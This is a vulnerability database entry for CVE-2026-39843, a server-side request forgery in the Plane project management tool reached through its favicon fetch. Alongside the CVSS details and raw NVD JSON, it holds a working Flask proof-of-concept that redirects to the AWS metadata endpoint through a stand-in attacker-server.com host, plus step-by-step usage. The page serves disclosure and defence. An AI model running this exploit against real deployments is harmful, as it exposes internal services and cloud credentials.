CVE-2026-39843

Description

Plane is an an open-source project management tool. From 0.28.0 to before 1.3.0, the remediation of GHSA-jcc6-f9v6-f7jw is incomplete which could lead to the same full read Server-Side Request Forgery when a normal html page contains a link tag with an href that redirects to a private IP address is supplied to Add link by an authenticated attacker with low privileges. Redirects for the main page URL are validated, but not the favicon fetch path. fetch_and_encode_favicon() still uses requests.get(favicon_url, ...) with the default redirect-following. This vulnerability is fixed in 1.3.0.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:plane:plane:*:*:*:*:*:*:*:* - VULNERABLE

Plane >= 0.28.0, < 1.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Scenario: Attacker controlled server setup
# This script simulates a malicious server that Plane will fetch.
# The HTML contains a favicon link that redirects to an internal IP.

from flask import Flask, redirect, Response

app = Flask(__name__)

# The internal IP address the attacker wants to scan (e.g., AWS metadata)
INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/"

@app.route('/exploit.html')
def serve_exploit_page():
    # Returns a normal HTML page but with a malicious favicon link
    html_content = """
    <html>
    <head>
        <link rel="icon" href="http://attacker-server.com/redirect-to-internal">
    </head>
    <body>Exploit Page</body>
    </html>
    """
    return Response(html_content, mimetype='text/html')

@app.route('/redirect-to-internal')
def redirect_payload():
    # Plane's fetch_and_encode_favicon will follow this redirect
    return redirect(INTERNAL_TARGET)

if __name__ == '__main__':
    # Attacker hosts this server
    app.run(host='0.0.0.0', port=80)

# Usage:
# 1. Host this server.
# 2. In Plane, use "Add link" feature with URL: http://attacker-server.com/exploit.html
# 3. Plane server fetches the page, sees the favicon link, requests it.
# 4. The server follows the redirect to the internal IP.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39843
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39843
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39843/
[4] VulDB https://vuldb.com/cve/CVE-2026-39843
[5] https://github.com/makeplane/plane/security/advisories/GHSA-9fr2-pprw-pp9j

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39843", "sourceIdentifier": "[email protected]", "published": "2026-04-09T16:16:31.087", "lastModified": "2026-04-17T20:08:53.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plane is an an open-source project management tool. From 0.28.0 to before 1.3.0, the remediation of GHSA-jcc6-f9v6-f7jw is incomplete which could lead to the same full read Server-Side Request Forgery when a normal html page contains a link tag with an href that redirects to a private IP address is supplied to Add link by an authenticated attacker with low privileges. Redirects for the main page URL are validated, but not the favicon fetch path. fetch_and_encode_favicon() still uses requests.get(favicon_url, ...) with the default redirect-following. This vulnerability is fixed in 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plane:plane:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.28.0", "versionEndExcluding": "1.3.0", "matchCriteriaId": "3970711C-9965-41A8-97F4-A27EE7B3EF01"}]}]}], "references": [{"url": "https://github.com/makeplane/plane/security/advisories/GHSA-9fr2-pprw-pp9j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}